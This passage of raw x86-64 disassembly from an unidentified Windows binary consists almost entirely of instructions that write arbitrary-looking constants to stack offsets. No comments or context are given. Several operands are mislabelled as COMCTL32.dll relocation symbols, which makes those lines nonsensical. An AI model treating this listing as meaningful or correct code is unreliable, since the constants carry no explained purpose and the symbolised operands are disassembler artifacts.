mov byte [rsp + 0xb9], 0x45
mov dword [rsp + 0x69d4], 0x6beb
movabs rax, 0x79cc789d2483d1
mov qword [rsp + 0xd1e8], rax
mov byte [rsp + 0xba], 0x9e
mov byte [rsp + 0xbb], 0x2e
movabs rax, 0x77b10dc41ca096
mov qword [rsp + 0xd1f0], rax
mov byte [rsp + 0xbc], 0x7a
mov byte [rsp + 0xbd], 0x1a
mov eax, 0xeb0
mov word [rsp + 0x1160], ax
mov eax, 0x37c
mov word [rsp + 0x1164], ax
mov eax, 0x2a2
mov word [rsp + 0x1168], ax
mov eax, 0xae7
mov word [rsp + 0x116c], ax
mov eax, 0x96e
mov word [rsp + 0x1170], ax
mov eax, 0x34a
mov word [rsp + 0x1174], ax
mov eax, 0x13a
mov word [rsp + 0x1178], ax
mov dword [rsp + 0x69d8], 0x8f97
mov dword [rsp + 0x69dc], 0x7b2e
mov byte [rsp + 0xbe], 0x31
mov eax, 0x83
mov word [rsp + 0x117c], ax
mov dword [rsp + 0x69e0], 0x7f18
mov byte [rsp + 0xbf], 0x2f
mov dword [rsp + 0x69e4], 0xcfb
mov byte [rsp + 0xc0], 0x95
mov eax, 0x9d0
mov word [rsp + 0x1180], ax
movabs rax, 0x781e31f83b41a2
mov qword [rsp + 0xd1f8], rax
mov byte [rsp + 0xc1], 0x9e
movabs rax, 0x7b180d6a80f75a
mov qword [rsp + 0xd200], rax
movabs rax, 0x7310e24a62e859
mov qword [rsp + 0xd208], rax
movabs rax, 0x75fd4a45ce1d65
mov qword [rsp + 0xd210], rax
movabs rax, 0x711971285aead4
mov qword [rsp + 0xd218], rax
mov byte [rsp + 0xc2], 0xf5
mov dword [rsp + 0x69e8], 0xa088
mov dword [rsp + 0x69ec], 0x7ede
movabs rax, 0x7db82ca28946d4
mov qword [rsp + 0xd220], rax
mov byte [rsp + 0xc3], 0x76
mov dword [rsp + 0x69f0], 0xf650
mov eax, 0x559
mov word [rsp + 0x1184], ax
mov dword [rsp + 0x69f4], 0xf623
mov dword [rsp + 0x69f8], 0xc06b
movabs rax, 0x770bf537120df5
mov qword [rsp + 0xd228], rax
mov dword [rsp + 0x69fc], 0x6f9e
mov dword [rsp + 0x6a00], 0x3515
mov byte [rsp + 0xc4], 0xd8
mov byte [rsp + 0xc5], 0xf6
mov eax, 0xc1e
mov word [rsp + 0x1188], ax
movabs rax, 0x7df349d5384cbd
mov qword [rsp + 0xd230], rax
movabs rax, 0x72a03f1d477ddd
mov qword [rsp + 0xd238], rax
movabs rax, 0x7d7beb0d08f3d7
mov qword [rsp + 0xd240], rax
mov byte [rsp + 0xc6], 0x19
mov eax, 0xc2f
mov word [rsp + 0x118c], ax
movabs rax, 0x7e9d1f324f2675
mov qword [rsp + 0xd248], rax
mov eax, 0x4b6
mov word [rsp + 0x1190], ax
movabs rax, 0x7115b069a9ab25
mov qword [rsp + 0xd250], rax
mov eax, 0x92
mov word [rsp + 0x1194], ax
movabs rax, 0x77004c4994042d
mov qword [rsp + 0xd258], rax
mov eax, 0x826
mov word [rsp + 0x1198], ax
mov eax, 0x2bc
mov word [rsp + 0x119c], ax
mov byte [rsp + 0xc7], 0x7c
mov dword [rsp + 0x6a04], 0xa54b
movabs rax, 0x72a9cfdd834fd2
mov qword [rsp + 0xd260], rax
mov dword [rsp + 0x6a08], 0xf0c4
mov byte [rsp + 0xc8], 0x4d
mov byte [rsp + 0xc9], 0xc1
mov dword [rsp + 0x6a0c], 0x4d4c
mov eax, 0x575
mov word [rsp + 0x11a0], ax
mov byte [rsp + 0xca], 0x4e
mov eax, 0x9f9
mov word [rsp + 0x11a4], ax
movabs rax, 0x76c20cc7bf69b9
mov qword [rsp + 0xd268], rax
mov byte [rsp + 0xcb], 0x75
mov eax, 0x3ca
mov word [rsp + 0x11a8], ax
mov byte [rsp + 0xcc], 0x76
mov byte [rsp + 0xcd], 0x6b
movabs rax, 0x71ed152adef89c
mov qword [rsp + 0xd270], rax
movabs rax, 0x7d0b43c819096d
mov qword [rsp + 0xd278], rax
mov dword [rsp + 0x6a10], 0x21bf
mov dword [rsp + 0x6a14], 0x5733
mov byte [rsp + 0xce], 0x34
mov eax, 0x89a
mov word [rsp + 0x11ac], ax
movabs rax, 0x7afb6eb09d0674
mov qword [rsp + 0xd280], rax
mov byte [rsp + 0xcf], 0x25
mov dword [rsp + 0x6a18], 0xc71e
mov eax, 0xb9f
mov word [rsp + 0x11b0], ax
mov dword [rsp + 0x6a1c], 0xe72b
mov byte [rsp + 0xd0], 0x5a
movabs rax, 0x75b3a6a9fc9430
mov qword [rsp + 0xd288], rax
movabs rax, 0x7b3a576409d331
mov qword [rsp + 0xd290], rax
mov eax, 0x4f
mov word [rsp + 0x11b4], ax
mov eax, 0xe25
mov word [rsp + 0x11b8], ax
movabs rax, 0x791cad5376173c
mov qword [rsp + 0xd298], rax
mov dword [rsp + 0x6a20], 0x2766
mov eax, 0xbb5
mov word [rsp + 0x11bc], ax
mov eax, 0x447
mov word [rsp + 0x11c0], ax
mov eax, 0x27c
mov word [rsp + 0x11c4], ax
movabs rax, 0x72c5c79698a612
mov qword [rsp + 0xd2a0], rax
mov byte [rsp + 0xd1], 0x49
mov eax, 0xbf9
mov word [rsp + 0x11c8], ax
mov eax, 0x143
mov word [rsp + 0x11cc], ax
movabs rax, 0x7bfa681b92b7d9
mov qword [rsp + 0xd2a8], rax
mov byte [rsp + 0xd2], reloc.COMCTL32.dll_LBItemFromPt
mov eax, 0xdc2
mov word [rsp + 0x11d0], ax
mov dword [rsp + 0x6a24], 0x9bcf
movabs rax, 0x706b7aaa55afdd
mov qword [rsp + 0xd2b0], rax
mov byte [rsp + 0xd3], 0xe9
mov byte [rsp + 0xd4], 0x63
mov byte [rsp + 0xd5], 0xaf
movabs rax, 0x76c2c996e70300
mov qword [rsp + 0xd2b8], rax
mov byte [rsp + 0xd6], 0x58
mov byte [rsp + 0xd7], 7
mov eax, 0x38f
mov word [rsp + 0x11d4], ax
movabs rax, 0x70285578b041f1
mov qword [rsp + 0xd2c0], rax
mov eax, 0x479
mov word [rsp + 0x11d8], ax
mov byte [rsp + 0xd8], reloc.COMCTL32.dll_DrawInsert
mov eax, 0xbf
mov word [rsp + 0x11dc], ax
mov eax, 0xb30
mov word [rsp + 0x11e0], ax
mov dword [rsp + 0x6a28], 0x1fb3
mov dword [rsp + 0x6a2c], 0x564b
movabs rax, 0x725d41ed85ea0e
mov qword [rsp + 0xd2c8], rax
mov byte [rsp + 0xd9], 0x1c
mov byte [rsp + 0xda], 0x5d
movabs rax, 0x7eb23db5fbcff0
mov qword [rsp + 0xd2d0], rax
mov eax, 0x2e2
mov word [rsp + 0x11e4], ax
mov byte [rsp + reloc.COMCTL32.dll_MakeDragListb], 0xd
mov dword [rsp + 0x6a30], 0xb27e
mov byte [rsp + 0xdc], 0x36
mov eax, 0x5ab
mov word [rsp + 0x11e8], ax
mov byte [rsp + 0xdd], 0xa3
mov dword [rsp + 0x6a34], 0x46a9
mov eax, 0x772
mov word [rsp + 0x11ec], ax
mov dword [rsp + 0x6a38], 0x648e
movabs rax, 0x7596f2960a41c3
mov qword [rsp + 0xd2d8], rax
movabs rax, 0x70c7a6804b2e2d
mov qword [rsp + 0xd2e0], rax
mov eax, 0x5f2
mov word [rsp + 0x11f0], ax
movabs rax, 0x72b90b15b14fd1
mov qword [rsp + 0xd2e8], rax
mov dword [rsp + 0x6a3c], 0x343
mov dword [rsp + 0x6a40], 0x27e
mov dword [rsp + 0x6a44], 0x2b4a
movabs rax, 0x74b2fdb63c8714
mov qword [rsp + 0xd2f0], rax
movabs rax, 0x7d1383a8b4f2a9
mov qword [rsp + 0xd2f8], rax
movabs rax, 0x70db81127ecb48
mov qword [rsp + 0xd300], rax
mov dword [rsp + 0x6a48], 0x3bb0
mov byte [rsp + 0xde], 0xfb
mov byte [rsp + 0xdf], 0x35
movabs rax, 0x77ba43c1a8c8f4
mov qword [rsp + 0xd308], rax
mov dword [rsp + 0x6a4c], 0x78e2
movabs rax, 0x75d4f342228e9e
mov qword [rsp + 0xd310], rax
mov byte [rsp + 0xe0], 0xe9
movabs rax, 0x752dbfd11d1c16
mov qword [rsp + 0xd318], rax
mov eax, 0x3e6
mov word [rsp + 0x11f4], ax
movabs rax, 0x75f1534f08e906
mov qword [rsp + 0xd320], rax
mov eax, 0x15f
mov word [rsp + 0x11f8], ax
movabs rax, 0x777770874c944b
mov qword [rsp + 0xd328], rax
mov eax, 0xe88
mov word [rsp + 0x11fc], ax
mov dword [rsp + 0x6a50], 0xad04
mov byte [rsp + 0xe1], 0xc4
mov dword [rsp + 0x6a54], 0xe675
mov byte [rsp + 0xe2], 0x21
mov dword [rsp + 0x6a58], 0x4c81
mov eax, 0xb14
mov word [rsp + 0x1200], ax
movabs rax, 0x78e0e10ff76a6c
mov qword [rsp + 0xd330], rax
movabs rax, 0x79404a152dfa7c
mov qword [rsp + 0xd338], rax
mov eax, 0xbb
mov word [rsp + 0x1204], ax
mov byte [rsp + 0xe3], 0xaa
movabs rax, 0x75af0b1d3a9f2c
mov qword [rsp + 0xd340], rax
mov byte [rsp + 0xe4], DrawInsert
mov eax, 0x178
mov word [rsp + 0x1208], ax
mov byte [rsp + 0xe5], 0
mov eax, 0x4bd
mov word [rsp + 0x120c], ax
mov dword [rsp + 0x6a5c], 0x42c2
movabs rax, 0x75b0b5abe1143e
mov qword [rsp + 0xd348], rax
mov eax, 0xb2a
mov word [rsp + 0x1210], ax
mov byte [rsp + 0xe6], 0x6f
movabs rax, 0x7af92a31a82631
mov qword [rsp + 0xd350], rax
mov byte [rsp + 0xe7], 0x2a
mov eax, 0x68e
mov word [rsp + 0x1214], ax
mov byte [rsp + 0xe8], 0x27
mov dword [rsp + 0x6a60], 0x7afd
movabs rax, 0x7a27f8e79d94c1
mov qword [rsp + 0xd358], rax
mov dword [rsp + 0x6a64], 0x1bf6
mov dword [rsp + 0x6a68], 0xf93f
mov dword [rsp + 0x6a6c], 0x9f3
mov byte [rsp + 0xe9], 0x82
mov eax, 0x6f7
mov word [rsp + 0x1218], ax
mov dword [rsp + 0x6a70], 0x3ebd
mov byte [rsp + 0xea], 0x40
mov byte [rsp + 0xeb], 0x9f
mov dword [rsp + 0x6a74], 0xd541
movabs rax, 0x7baba592e27e48
mov qword [rsp + 0xd360], rax
movabs rax, 0x7a83b231954330
mov qword [rsp + 0xd368], rax
mov byte [rsp + 0xec], 0x70
mov eax, 0x373
mov word [rsp + 0x121c], ax
movabs rax, 0x70b6bb3943a7d3
mov qword [rsp + 0xd370], rax
mov dword [rsp + 0x6a78], 0x9490
mov dword [rsp + 0x6a7c], 0xd7ce
mov dword [rsp + 0x6a80], 0x5cdc
mov dword [rsp + 0x6a84], 0xb646
mov dword [rsp + 0x6a88], 0x4d4
mov eax, 0x56b
mov word [rsp + 0x1220], ax
mov eax, 0xcbe
mov word [rsp + 0x1224], ax
movabs rax, 0x765311cc8e7653
mov qword [rsp + 0xd378], rax
mov eax, 0x45b
mov word [rsp + 0x1228], ax
mov byte [rsp + 0xed], 0x42
movabs rax, 0x750ef58bd05d24
mov qword [rsp + 0xd380], rax
mov dword [rsp + 0x6a8c], 0x2065
movabs rax, 0x7e211c74e79937
mov qword [rsp + 0xd388], rax
movabs rax, 0x75ea90563919b2
mov qword [rsp + 0xd390], rax
movabs rax, 0x7cbc54dd560366
mov qword [rsp + 0xd398], rax
mov dword [rsp + 0x6a90], 0x3094
mov dword [rsp + 0x6a94], 0x3e41
mov byte [rsp + 0xee], 0x4f
movabs rax, 0x73b98f3efa4c50
mov qword [rsp + 0xd3a0], rax
mov byte [rsp + 0xef], DrawInsert
mov dword [rsp + 0x6a98], 0x19d4
mov dword [rsp + 0x6a9c], 0xfcf3
mov eax, 0xb36
mov word [rsp + 0x122c], ax
mov dword [rsp + 0x6aa0], 0x2e0e
mov byte [rsp + 0xf0], 0x39
mov dword [rsp + 0x6aa4], 0x1492
movabs rax, 0x7cb39a9a26c633
mov qword [rsp + 0xd3a8], rax
mov byte [rsp + 0xf1], 0x1b
mov eax, 0x2af
mov word [rsp + 0x1230], ax
mov byte [rsp + 0xf2], 0x4e
movabs rax, 0x7602c2a0595b67
mov qword [rsp + 0xd3b0], rax
mov dword [rsp + 0x6aa8], 0x22da
mov eax, 0x8f0
mov word [rsp + 0x1234], ax
mov dword [rsp + 0x6aac], 0x2f65
mov dword [rsp + 0x6ab0], 0x209c
mov byte [rsp + 0xf3], 0x8d
mov dword [rsp + 0x6ab4], 0xe282
mov byte [rsp + 0xf4], 0x7e
mov dword [rsp + 0x6ab8], 0x55c0
mov eax, 0xe2
mov word [rsp + 0x1238], ax
mov dword [rsp + 0x6abc], 0x5db3
mov dword [rsp + 0x6ac0], 0x8df5
mov eax, 0x590
mov word [rsp + 0x123c], ax
mov eax, 0xfc7
mov word [rsp + 0x1240], ax
movabs rax, 0x7eddb6ec5ea010
mov qword [rsp + 0xd3b8], rax
movabs rax, 0x74d42e0f4f4ef9
mov qword [rsp + 0xd3c0], rax
mov eax, 0x6e3
mov word [rsp + 0x1244], ax
mov dword [rsp + 0x6ac4], 0x7e0e
movabs rax, 0x732d491fdca7ff
mov qword [rsp + 0xd3c8], rax
movabs rax, 0x771dc428374430
mov qword [rsp + 0xd3d0], rax
mov eax, 0x55e
mov word [rsp + 0x1248], ax
mov byte [rsp + 0xf5], 8
movabs rax, 0x7d1979bd1184f2
mov qword [rsp + 0xd3d8], rax
mov eax, 0x38c
mov word [rsp + 0x124c], ax
mov eax, 0x160
mov word [rsp + 0x1250], ax
mov eax, 0x4cc
mov word [rsp + 0x1254], ax
mov byte [rsp + 0xf6], 0x61
mov dword [rsp + 0x6ac8], 0xfcf6
mov byte [rsp + 0xf7], 0x77
mov eax, 0x3b6
mov word [rsp + 0x1258], ax
movabs rax, 0x7893b15511b340
mov qword [rsp + 0xd3e0], rax
mov dword [rsp + 0x6acc], 0x4c5d
mov dword [rsp + 0x6ad0], 0xf067
mov dword [rsp + 0x6ad4], 0xca48
mov byte [rsp + 0xf8], 0xe0
mov dword [rsp + 0x6ad8], 0x5db1
mov byte [rsp + 0xf9], 0x47
mov eax, 0x2de
mov word [rsp + 0x125c], ax
mov dword [rsp + 0x6adc], 0x1d58
mov eax, 0xf2d
mov word [rsp + 0x1260], ax
mov byte [rsp + 0xfa], 7
mov byte [rsp + 0xfb], 0xec
mov eax, 0x1e8
mov word [rsp + 0x1264], ax
mov eax, 0xa88
mov word [rsp + 0x1268], ax
movabs rax, 0x78c5a5c3042844
mov qword [rsp + 0xd3e8], rax
mov byte [rsp + 0xfc], 0x54
movabs rax, 0x73869017d332a1
mov qword [rsp + 0xd3f0], rax
movabs rax, 0x7dbb57754d9204
mov qword [rsp + 0xd3f8], rax
mov dword [rsp + 0x6ae0], 0xb4e2
mov dword [rsp + 0x6ae4], 0x76e4
mov eax, 0x39
mov word [rsp + 0x126c], ax
movabs rax, 0x7a70a7b636dcf7
mov qword [rsp + 0xd400], rax
mov byte [rsp + 0xfd], 0x95
mov eax, 0xf3f
mov word [rsp + 0x1270], ax
mov dword [rsp + 0x6ae8], 0x73cd
mov eax, 0x31f
mov word [rsp + 0x1274], ax
mov byte [rsp + 0xfe], 0x16
mov eax, 0x227
mov word [rsp + 0x1278], ax
mov byte [rsp + 0xff], 0xef
mov dword [rsp + 0x6aec], 0x5a7
mov dword [rsp + 0x6af0], 0x7c84
movabs rax, 0x75bc6e6f0646b1
mov qword [rsp + 0xd408], rax
mov dword [rsp + 0x6af4], 0x63b7
movabs rax, 0x7462c49edededa
mov qword [rsp + 0xd410], rax
mov dword [rsp + 0x6af8], 0x4550
mov byte [rsp + 0x100], 0x62
mov dword [rsp + 0x6afc], 0x492
mov dword [rsp + 0x6b00], 0xee62
mov byte [rsp + 0x101], 0x13
mov eax, 0x5dc
mov word [rsp + 0x127c], ax
mov dword [rsp + 0x6b04], 0x30ac
mov byte [rsp + 0x102], 0x6a
mov dword [rsp + 0x6b08], 0x649f
mov eax, 0xdba
mov word [rsp + 0x1280], ax
mov byte [rsp + 0x103], 6
mov dword [rsp + 0x6b0c], 0x36e8
mov dword [rsp + 0x6b10], 0x4e8c
mov dword [rsp + 0x6b14], 0x9bd
mov byte [rsp + 0x104], 0xdb
mov dword [rsp + 0x6b18], 0x8b01
mov eax, 0x8c2
mov word [rsp + 0x1284], ax
mov eax, 0xd8f
mov word [rsp + 0x1288], ax
mov dword [rsp + 0x6b1c], 0xcef9
mov eax, 0x824
mov word [rsp + 0x128c], ax
mov dword [rsp + 0x6b20], 0x316b
mov byte [rsp + 0x105], DrawInsert
movabs rax, 0x7c1df9f96fe252
mov qword [rsp + 0xd418], rax
movabs rax, 0x7dff8a1a64b4cb
mov qword [rsp + 0xd420], rax
mov eax, 0x999
mov word [rsp + 0x1290], ax
movabs rax, 0x736f78ad1e8c7f
mov qword [rsp + 0xd428], rax
mov byte [rsp + 0x106], 0xc3
movabs rax, 0x7201430abfb47a
mov qword [rsp + 0xd430], rax
movabs rax, 0x725db9eb6b5b7a
mov qword [rsp + 0xd438], rax
movabs rax, 0x7b653a3a6e9af4
mov qword [rsp + 0xd440], rax
mov eax, 0x3ce
mov word [rsp + 0x1294], ax
movabs rax, 0x77b4d3e4fa6728
mov qword [rsp + 0xd448], rax
mov eax, 0xc06
mov word [rsp + 0x1298], ax
mov eax, 0xa55
mov word [rsp + 0x129c], ax
mov byte [rsp + 0x107], 0x92
mov byte [rsp + 0x108], 0x62
movabs rax, 0x75c51dd3c0dc63
mov qword [rsp + 0xd450], rax
mov byte [rsp + 0x109], 0x49
mov byte [rsp + 0x10a], 0xa4
mov eax, 0x48c
mov word [rsp + 0x12a0], ax
mov eax, 0xb8
mov word [rsp + 0x12a4], ax
mov eax, 0x51f
mov word [rsp + 0x12a8], ax
movabs rax, 0x7a50633dc9f595
mov qword [rsp + 0xd458], rax
mov eax, 0x46c
mov word [rsp + 0x12ac], ax
mov byte [rsp + 0x10b], 0x1e
mov dword [rsp + 0x6b24], 0x6692
movabs rax, 0x7d8c15b8b7262c
mov qword [rsp + 0xd460], rax
mov dword [rsp + 0x6b28], 0x8031
mov eax, 0xb98
mov word [rsp + 0x12b0], ax
mov eax, 0x139
mov word [rsp + 0x12b4], ax
mov dword [rsp + 0x6b2c], 0x1222
mov dword [rsp + 0x6b30], 0x3b9d
movabs rax, 0x72f6fdfcd4ecca
mov qword [rsp + 0xd468], rax
movabs rax, 0x75cbd1603b3d80
mov qword [rsp + 0xd470], rax
mov dword [rsp + 0x6b34], 0x404
mov eax, 0xb0
mov word [rsp + 0x12b8], ax
mov eax, 0x68e
mov word [rsp + 0x12bc], ax
mov eax, 0x328
mov word [rsp + 0x12c0], ax
mov byte [rsp + 0x10c], 0x73
movabs rax, 0x7a70e8b71ff20a
mov qword [rsp + 0xd478], rax
mov byte [rsp + 0x10d], 0x12
mov dword [rsp + 0x6b38], 0x24b0
mov dword [rsp + 0x6b3c], 0x6224
mov byte [rsp + 0x10e], 0x15
mov byte [rsp + 0x10f], 7
mov dword [rsp + 0x6b40], 0x6f6a
mov eax, 0x981
mov word [rsp + 0x12c4], ax
mov dword [rsp + 0x6b44], 0xe54
mov dword [rsp + 0x6b48], 0x1049
mov eax, 0x34
mov word [rsp + 0x12c8], ax
mov byte [rsp + 0x110], 0xee
mov dword [rsp + 0x6b4c], 0x2705
mov eax, 0xcc
mov word [rsp + 0x12cc], ax
movabs rax, 0x76684e96beb34c
mov qword [rsp + 0xd480], rax
movabs rax, 0x7d9177e4409a96
mov qword [rsp + 0xd488], rax
movabs rax, 0x76a0a3a7b5793a
mov qword [rsp + 0xd490], rax
movabs rax, 0x78003a0fdf45c9
mov qword [rsp + 0xd498], rax
movabs rax, 0x7630378ab26bd3
mov qword [rsp + 0xd4a0], rax
mov byte [rsp + 0x111], 0xf5
mov eax, 0xc7f
mov word [rsp + 0x12d0], ax
mov dword [rsp + 0x6b50], 0x4114
mov eax, 0x33
mov word [rsp + 0x12d4], ax
mov eax, 0xb6a
mov word [rsp + 0x12d8], ax
mov byte [rsp + 0x112], 0x4f
mov byte [rsp + 0x113], 0x3c
movabs rax, 0x7b8058fc863d39
mov qword [rsp + 0xd4a8], rax
movabs rax, 0x76e8dfe323c79e
mov qword [rsp + 0xd4b0], rax
mov byte [rsp + 0x114], 0xa
mov byte [rsp + 0x115], 0xbf
mov dword [rsp + 0x6b54], 0x64a0
mov eax, 0x4b1
mov word [rsp + 0x12dc], ax
movabs rax, 0x7b61ccf749e117
mov qword [rsp + 0xd4b8], rax
mov byte [rsp + 0x116], 0xb7
movabs rax, 0x7ef307f1e5a59d
mov qword [rsp + 0xd4c0], rax
mov eax, 0x55e
mov word [rsp + 0x12e0], ax
mov byte [rsp + 0x117], 0xd0
mov eax, 0x7fd
mov word [rsp + 0x12e4], ax
mov dword [rsp + 0x6b58], 0x2027
mov byte [rsp + 0x118], 0xa0
movabs rax, 0x785c17f20e00ee
mov qword [rsp + 0xd4c8], rax
movabs rax, 0x73dc3163439a13
mov qword [rsp + 0xd4d0], rax
mov eax, 0x4e2
mov word [rsp + 0x12e8], ax
mov dword [rsp + 0x6b5c], 0x4a1d
movabs rax, 0x74c7683830267d
mov qword [rsp + 0xd4d8], rax
mov dword [rsp + 0x6b60], 0xe4e2
movabs rax, 0x7a05d273a8035a
mov qword [rsp + 0xd4e0], rax
mov dword [rsp + 0x6b64], 0x1c8
mov eax, 0x9fe
mov word [rsp + 0x12ec], ax
movabs rax, 0x756eec6d0f2c87
mov qword [rsp + 0xd4e8], rax
mov eax, 0x29
mov word [rsp + 0x12f0], ax
mov byte [rsp + 0x119], 0xa2
mov dword [rsp + 0x6b68], 0x2896
mov byte [rsp + 0x11a], 0x66
mov eax, 0x6fa
mov word [rsp + 0x12f4], ax
movabs rax, 0x791a382c20091c
mov qword [rsp + 0xd4f0], rax
mov byte [rsp + 0x11b], 0x7d
movabs rax, 0x7615a38d10455a
mov qword [rsp + 0xd4f8], rax
mov dword [rsp + 0x6b6c], 0x6418
mov byte [rsp + 0x11c], 0xcd
mov eax, 0x5a9
mov word [rsp + 0x12f8], ax
movabs rax, 0x76cc826a9206fe
mov qword [rsp + 0xd500], rax
mov eax, 0x98
mov word [rsp + 0x12fc], ax
mov dword [rsp + 0x6b70], 0x7a2a
movabs rax, 0x752e637f3d2909
mov qword [rsp + 0xd508], rax
mov dword [rsp + 0x6b74], 0x7714
movabs rax, 0x728c32bea04041
mov qword [rsp + 0xd510], rax
movabs rax, 0x70fe18eee58c9e
mov qword [rsp + 0xd518], rax
mov dword [rsp + 0x6b78], 0x72a4
mov eax, 0x6bb
mov word [rsp + 0x1300], ax
mov eax, 0x6db
mov word [rsp + 0x1304], ax
mov dword [rsp + 0x6b7c], 0x61f9
movabs rax, 0x7d6a3862246569
mov qword [rsp + 0xd520], rax
mov dword [rsp + 0x6b80], 0x632e
movabs rax, 0x77e38aaf43e6ae
mov qword [rsp + 0xd528], rax
movabs rax, 0x7c323e8457d85b
mov qword [rsp + 0xd530], rax
mov byte [rsp + 0x11d], 0x36
movabs rax, 0x75d60f06719652
mov qword [rsp + 0xd538], rax
mov eax, 0x627
mov word [rsp + 0x1308], ax
movabs rax, 0x7df0e21366a387
mov qword [rsp + 0xd540], rax
mov byte [rsp + 0x11e], 0xea
mov dword [rsp + 0x6b84], 0x90b3
mov dword [rsp + 0x6b88], 0x2792
mov byte [rsp + 0x11f], 0xd5
movabs rax, 0x78ac71e3485800
mov qword [rsp + 0xd548], rax
mov byte [rsp + 0x120], 0x37
mov eax, 0x58e
mov word [rsp + 0x130c], ax
mov byte [rsp + 0x121], 8
movabs rax, 0x75788e8b2bcadf
mov qword [rsp + 0xd550], rax
mov eax, 0x1d2
mov word [rsp + 0x1310], ax
mov eax, 0x822
mov word [rsp + 0x1314], ax
movabs rax, 0x72afe2d2a610bc
mov qword [rsp + 0xd558], rax
mov dword [rsp + 0x6b8c], 0x7ab1
mov byte [rsp + 0x122], 0x21
mov eax, 0x383
mov word [rsp + 0x1318], ax
movabs rax, 0x7686410429ae60
mov qword [rsp + 0xd560], rax
mov byte [rsp + 0x123], 0x11
movabs rax, 0x75064b5ca2fa7a
mov qword [rsp + 0xd568], rax
mov dword [rsp + 0x6b90], 0x1e7b
mov dword [rsp + 0x6b94], 0x60f4
mov byte [rsp + 0x124], 0x2f
movabs rax, 0x717f62eb9f9a0d
mov qword [rsp + 0xd570], rax
mov eax, 0xe1a
mov word [rsp + 0x131c], ax
mov byte [rsp + 0x125], 0x34
mov dword [rsp + 0x6b98], 0x3813
mov dword [rsp + 0x6b9c], 0x6e6c
mov eax, 0x342
mov word [rsp + 0x1320], ax
movabs rax, 0x7892972901e746
mov qword [rsp + 0xd578], rax
mov dword [rsp + 0x6ba0], 0x4d5c
movabs rax, 0x722577482eeb98
mov qword [rsp + 0xd580], rax
movabs rax, 0x71d875e4231dea
mov qword [rsp + 0xd588], rax
movabs rax, 0x78f08ece153c27
mov qword [rsp + 0xd590], rax
mov dword [rsp + 0x6ba4], 0x7d06
mov eax, 0xd41
mov word [rsp + 0x1324], ax
mov byte [rsp + 0x126], 0xb3
mov byte [rsp + 0x127], 0x52
mov dword [rsp + 0x6ba8], 0x15fd
mov dword [rsp + 0x6bac], 0x7ae1
mov byte [rsp + 0x128], 0x30
mov dword [rsp + 0x6bb0], 0x6967
movabs rax, 0x71f7cf53d066b1
mov qword [rsp + 0xd598], rax
mov byte [rsp + 0x129], 0x80
movabs rax, 0x748f3c403cbec7
mov qword [rsp + 0xd5a0], rax
movabs rax, 0x799c7a4a99336c
mov qword [rsp + 0xd5a8], rax
movabs rax, 0x7c9b668451d692
mov qword [rsp + 0xd5b0], rax
movabs rax, 0x7a708735b2b7e9
mov qword [rsp + 0xd5b8], rax
mov eax, 0xf3f
mov word [rsp + 0x1328], ax
mov eax, 0x205
mov word [rsp + 0x132c], ax
mov byte [rsp + 0x12a], 6
movabs rax, 0x79df1c4b3f8465
mov qword [rsp + 0xd5c0], rax
movabs rax, 0x745dc1eb122d34
mov qword [rsp + 0xd5c8], rax
movabs rax, 0x7b396af619753f
mov qword [rsp + 0xd5d0], rax
movabs rax, 0x7dbfa656de3965
mov qword [rsp + 0xd5d8], rax
mov dword [rsp + 0x6bb4], 0x3ca0
mov eax, 0x33d
mov word [rsp + 0x1330], ax
movabs rax, 0x74ec259c50e116
mov qword [rsp + 0xd5e0], rax
mov byte [rsp + 0x12b], 0x74
mov byte [rsp + 0x12c], 0x22
mov eax, 0xa16
mov word [rsp + 0x1334], ax
mov byte [rsp + 0x12d], 0xf0
mov eax, 0xef5
mov word [rsp + 0x1338], ax
mov eax, 0x35f
mov word [rsp + 0x133c], ax
mov eax, 0x596
mov word [rsp + 0x1340], ax
movabs rax, 0x7b3b8d67e54157
mov qword [rsp + 0xd5e8], rax
movabs rax, 0x714fd88f5b2307
mov qword [rsp + 0xd5f0], rax
movabs rax, 0x7aa1bff6de69c1
mov qword [rsp + 0xd5f8], rax
mov eax, 0x335
mov word [rsp + 0x1344], ax
mov dword [rsp + 0x6bb8], 0xab73
mov dword [rsp + 0x6bbc], 0x1e8d
mov dword [rsp + 0x6bc0], 0x1304
mov byte [rsp + 0x12e], 0x99
mov dword [rsp + 0x6bc4], 0x6da0
movabs rax, 0x7bd62fa2290ab8
mov qword [rsp + 0xd600], rax
mov eax, 0x124
mov word [rsp + 0x1348], ax
mov dword [rsp + 0x6bc8], 0x5c6e
mov eax, 0x577
mov word [rsp + 0x134c], ax
mov dword [rsp + 0x6bcc], 0x2ddd
movabs rax, 0x71c7da18102e62
mov qword [rsp + 0xd608], rax
mov byte [rsp + 0x12f], 0x98
mov dword [rsp + 0x6bd0], 0x3b17
mov dword [rsp + 0x6bd4], 0xeda7
mov byte [rsp + 0x130], 0x64
mov eax, 0x309
mov word [rsp + 0x1350], ax
mov dword [rsp + 0x6bd8], 0x378e
mov eax, 0xa2
mov word [rsp + 0x1354], ax
mov byte [rsp + 0x131], 0xdf
mov eax, 0x114
mov word [rsp + 0x1358], ax
mov byte [rsp + 0x132], 0xc0
movabs rax, 0x7e5f251581d58f
mov qword [rsp + 0xd610], rax
movabs rax, 0x784a9b3818ae5e
mov qword [rsp + 0xd618], rax
mov eax, 0x596
mov word [rsp + 0x135c], ax
mov dword [rsp + 0x6bdc], 0xe49e
mov eax, 0x352
mov word [rsp + 0x1360], ax
movabs rax, 0x71277266672c51
mov qword [rsp + 0xd620], rax
mov byte [rsp + 0x133], 0xea
movabs rax, 0x7698acc55da39d
mov qword [rsp + 0xd628], rax
movabs rax, 0x705d487f1252cb
mov qword [rsp + 0xd630], rax
movabs rax, 0x78190f4f5730db
mov qword [rsp + 0xd638], rax
mov byte [rsp + 0x134], 0xcf
mov byte [rsp + 0x135], 0x35
movabs rax, 0x76d85618b5afac
mov qword [rsp + 0xd640], rax
mov byte [rsp + 0x136], 0x7c
mov byte [rsp + 0x137], 0xaa
movabs rax, 0x7d26784ed46a9e
mov qword [rsp + 0xd648], rax
mov dword [rsp + 0x6be0], 0x6950
mov byte [rsp + 0x138], 0x83
mov dword [rsp + 0x6be4], 0x6f4b
mov eax, 0x686
mov word [rsp + 0x1364], ax
movabs rax, 0x7eb921366a2445
mov qword [rsp + 0xd650], rax
movabs rax, 0x7c452cd2b3d5c5
mov qword [rsp + 0xd658], rax
mov byte [rsp + 0x139], 0x1d
mov eax, 0x2ad
mov word [rsp + 0x1368], ax
mov byte [rsp + 0x13a], 6
mov byte [rsp + 0x13b], 0x63
mov eax, 0x1ae
mov word [rsp + 0x136c], ax
mov dword [rsp + 0x6be8], 0x339c
mov dword [rsp + 0x6bec], 0x251c
mov byte [rsp + 0x13c], 0x2b
